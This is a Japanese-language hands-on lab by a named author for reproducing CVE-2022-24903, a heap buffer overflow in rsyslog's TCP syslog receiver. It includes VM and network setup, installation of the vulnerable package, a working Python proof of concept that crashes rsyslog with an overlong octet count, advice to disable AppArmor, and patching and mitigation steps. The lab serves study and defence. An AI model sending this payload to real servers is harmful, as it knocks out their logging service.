
CVE-2022-24903 Heap-based buffer overflow
著者: Andrew Beshay Mousa
rsyslogのヒープバッファオーバーフロー脆弱性を実演する、実践的なハンズオンラボです。
TCP syslog受信におけるオクテットカウントフレーミングを介して、rsyslogヒープバッファオーバーフロー脆弱性 (CVE-2022-24903) を再現・理解するための実践的なラボ環境です。
CVE-2022-24903 は、オクテットカウントフレーミング (RFC 5425) 使用時に rsyslog のTCP syslog受信モジュール (imtcp) に存在するヒープバッファオーバーフロー脆弱性です。
攻撃者は、過度に長いオクテットカウントプレフィックスを含む細工されたTCP syslogメッセージを送信することで、rsyslogにヒープ割り当てバッファの境界を超えた書き込みを引き起こし、サービス拒否 (DoS) または潜在的なメモリ破損をもたらす可能性があります。
+----------------------------------------------------------+
| Network: Host-Only |
| Subnet: 192.168.56.0/24 |
+--------------------------+-------------------------------+
| | |
| +---------------+ | +--------------------+ |
| | [Attacker] | | | [Target] | |
| | Kali Linux |<-----|----->| Ubuntu 22.04 | |
| | | TCP | | rsyslog 8.2001.0 | |
| | 192.168.56.10| 514 | | 192.168.56.20 | |
| | RAM: 2GB | | | RAM: 1GB | |
| | CPU: 1 | | | CPU: 1 | |
| +---------------+ | +--------------------+ |
| | |
+----------------------------------------------------------+
注: ターゲットには任意のUbuntuバージョン (20.04、22.04、24.04) を使用できます。重要なのは、脆弱なrsyslog 8.2001.0
.debパッケージを手動でインストールすることです。
TCP syslog (RFC 5425) では、メッセージの先頭にバイト単位の長さが付加されます:
123 <34>1 2024-01-01T00:00:00Z host app - - - message\n
└─┘
octet count (3 digits = 123 bytes follow)
脆弱なrsyslogバージョンでは、オクテットカウントパーサーは次のように動作します:
// Simplified vulnerable logic:
char buffer[20]; // Small heap buffer
int i = 0;
while (isdigit(ch)) { // Read digits
buffer[i++] = ch; // Write to buffer
// MISSING: if (i >= 20) break;
ch = next_char();
}
結果: 9999... (5000桁以上) を送信するとヒープバッファがオーバーフローし、隣接するメモリが破損します。
0-9) に制限されるハイパーバイザーでホストオンリーネットワークを作成します:
192.168.56.0/24両方のVMをこのネットワークに接続します。
sudo nano /etc/netplan/00-installer-config.yaml
以下を貼り付け:
network:
version: 2
ethernets:
enp0s3:
dhcp4: no
addresses:
- 192.168.56.20/24
適用:
sudo netplan apply
確認:
ip addr show | grep 192.168.56.20
sudo systemctl stop rsyslog.service syslog.socket
sudo systemctl disable rsyslog.service syslog.socket
sudo systemctl mask rsyslog.service syslog.socket
sudo apt-get remove --purge -y rsyslog
sudo apt-get autoremove -y
cd /tmp
wget http://security.ubuntu.com/ubuntu/pool/main/r/rsyslog/rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo dpkg -i rsyslog_8.2001.0-1ubuntu1_amd64.deb
sudo apt-get install -f -y
sudo apt-mark hold rsyslog
dpkgロックエラーが発生した場合:
sudo kill -9 <PID> sudo rm -f /var/lib/dpkg/lock-frontend sudo dpkg --configure -a
バージョンの確認:
rsyslogd -v | head -2
期待される出力:
rsyslogd 8.2001.0
AppArmorが原因で、古いパッケージのrsyslogが正しく機能しない可能性があります:
sudo systemctl stop apparmor
sudo systemctl disable apparmor
sudo nano /etc/rsyslog.conf
ファイルをクリアして以下を貼り付け:
module(load="imtcp")
input(type="imtcp" port="514")
*.* /var/log/all-messages.log
sudo ufw allow 514/tcp
sudo ufw --force enable
sudo systemctl unmask rsyslog.service syslog.socket
sudo systemctl restart rsyslog
sudo systemctl status rsyslog --no-pager
待ち受け状態の確認:
sudo ss -tlnp | grep 514
期待される出力:
LISTEN 0 25 0.0.0.0:514 users:(("rsyslogd",pid=...,fd=4))
sudo nano /etc/network/interfaces
以下を貼り付け:
auto eth0
iface eth0 inet static
address 192.168.56.10
netmask 255.255.255.0
またはNetplanを使用する場合:
sudo nano /etc/netplan/01-netcfg.yaml
network:
version: 2
ethernets:
eth0:
dhcp4: no
addresses:
- 192.168.56.10/24
sudo netplan apply
cd ~/Desktop
nano exploit.py
以下を貼り付け:
#!/usr/bin/env python3
"""
CVE-2022-24903 rsyslog Heap Buffer Overflow PoC
Target: rsyslog 8.2001.0 on TCP port 514
Author: Andrew Beshay Mousa
"""
import socket
import sys
TARGET = "192.168.56.20" # Change to your Target IP
PORT = 514
def exploit():
"""
Send a crafted TCP syslog message with an excessively long octet-count prefix.
The octet-count parser writes digits to a heap buffer without bounds checking,
causing a heap buffer overflow.
"""
# Create a massive octet count string (5000+ digits)
# This overflows the heap buffer allocated for parsing the count
overflow_digits = b"9" * 5000
# The rest of the message (parser will crash before processing this)
syslog_msg = b" <1>test crash message\n"
payload = overflow_digits + syslog_msg
print(f"[*] Target: {TARGET}:{PORT}")
print(f"[*] Payload size: {len(payload)} bytes")
print(f"[*] Octet count digits: {len(overflow_digits)}")
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(5)
sock.connect((TARGET, PORT))
print(f"[*] Connected. Sending payload...")
sock.sendall(payload)
# Try to receive (likely won't get anything back after crash)
try:
response = sock.recv(1024)
print(f"[+] Received: {response}")
except socket.timeout:
print("[!] No response - target may have crashed!")
sock.close()
print("[*] Exploit completed.")
except ConnectionRefusedError:
print(f"[-] Connection refused - is rsyslog running on {TARGET}:{PORT}?")
sys.exit(1)
except BrokenPipeError:
print("[!] Connection broken - target likely crashed mid-transmission!")
if __name__ == "__main__":
print("=" * 50)
print("CVE-2022-24903 rsyslog Heap Buffer Overflow")
print("=" * 50)
exploit()
実行可能にする:
chmod +x exploit.py
攻撃者マシンから接続を確認します:
nc -zv 192.168.56.20 514
期待される出力:
(UNKNOWN) [192.168.56.20] 514 (shell) open
python3 ~/Desktop/exploit.py
期待される出力:
==================================================
CVE-2022-24903 rsyslog Heap Buffer Overflow
==================================================
[*] Target: 192.168.56.20:514
[*] Payload size: 5027 bytes
[*] Octet count digits: 5000
[*] Connected. Sending payload...
[!] No response - target may have crashed!
[*] Exploit completed.
ターゲットマシンでクラッシュを確認します:
ps aux | grep rsyslog
出力がない場合 -> rsyslogはクラッシュしています
sudo dmesg | tail -10
期待される出力:
audit: in:imtcp[24775] general protection fault ip:76bea758b7dd sp:... error:0 in libc.so.6[...]
または:
rsyslogd[...]: segfault at ... ip ... sp ... error 4 in rsyslogd[...]
sudo journalctl -u rsyslog --no-pager | tail -10
再現性を確認するには:
sudo systemctl restart rsyslog
sudo ss -tlnp | grep 514
その後、Kaliからエクスプロイトを再実行してください。再びクラッシュするはずです。
sudo apt-mark unhold rsyslog
sudo apt-get update
sudo apt-get install rsyslog
パッチ適用済みバージョンの確認:
rsyslogd -v | head -2
8.2204.1以上である必要があります。
/etc/rsyslog.conf 内でコメントアウトしてください:
# module(load="imtcp")
# input(type="imtcp" port="514")
TCP syslogが必要な場合は、暗号化トランスポートを使用してください:
module(load="imgtls")
input(type="imgtls" port="6514")
TCP 514を信頼できるホストのみに制限します:
sudo ufw allow from 192.168.56.10 to any port 514 proto tcp
このラボは教育および研究目的のみを対象としています。所有していない、または明示的なテスト許可を得ていないシステムに対してこのエクスプロイトを使用しないでください。著者は、この情報の不正使用について一切の責任を負いません。
このプロジェクトはMITライセンスの下で提供されています。
コーヒーと好奇心を携えて、Andrew Beshay Mousaが作成しました。
| 属性 | 値 |
|---|
| CVE ID | CVE-2022-24903 |
| 影響を受けるバージョン | rsyslog < 8.2204.1 |
| 攻撃ベクトル | ネットワーク |
| ポート | 514/TCP |
| モジュール | imtcp (TCP入力) |
| 影響 | DoS / ヒープ破壊 |
| RCEの可能性? | なし (ベンダー評価) |
| VM | OS | 役割 | IP | RAM | CPU |
|---|
| ターゲット | Ubuntu 22.04 | 脆弱なrsyslogサーバー | 192.168.56.20 | 1 GB | 1 |
| 攻撃者 | Kali Linux | エクスプロイト送信側 | 192.168.56.10 | 2 GB | 1 |
| 問題 | 解決方法 |
|---|
Connection refused | rsyslogが実行されていないか、TCP 514で待ち受けていません。sudo systemctl status rsyslog と `sudo ss -tlnp |
Unit rsyslog.service is masked | sudo systemctl unmask rsyslog.service syslog.socket を実行してください |
dpkg frontend lock | sudo kill -9 <PID> を実行してから sudo rm -f /var/lib/dpkg/lock-frontend を実行してください |
| AppArmor DENIED in dmesg | sudo systemctl stop apparmor && sudo systemctl disable apparmor を実行してください |
| rsyslogのバージョンが8.2112+ | パッチ適用済みバージョンをインストールしています。rsyslog_8.2001.0-1ubuntu1_amd64.deb を手動でダウンロードしてインストールしてください |
| エクスプロイト後もクラッシュしない | ペイロードサイズを b"9" * 20000 に増やしてください |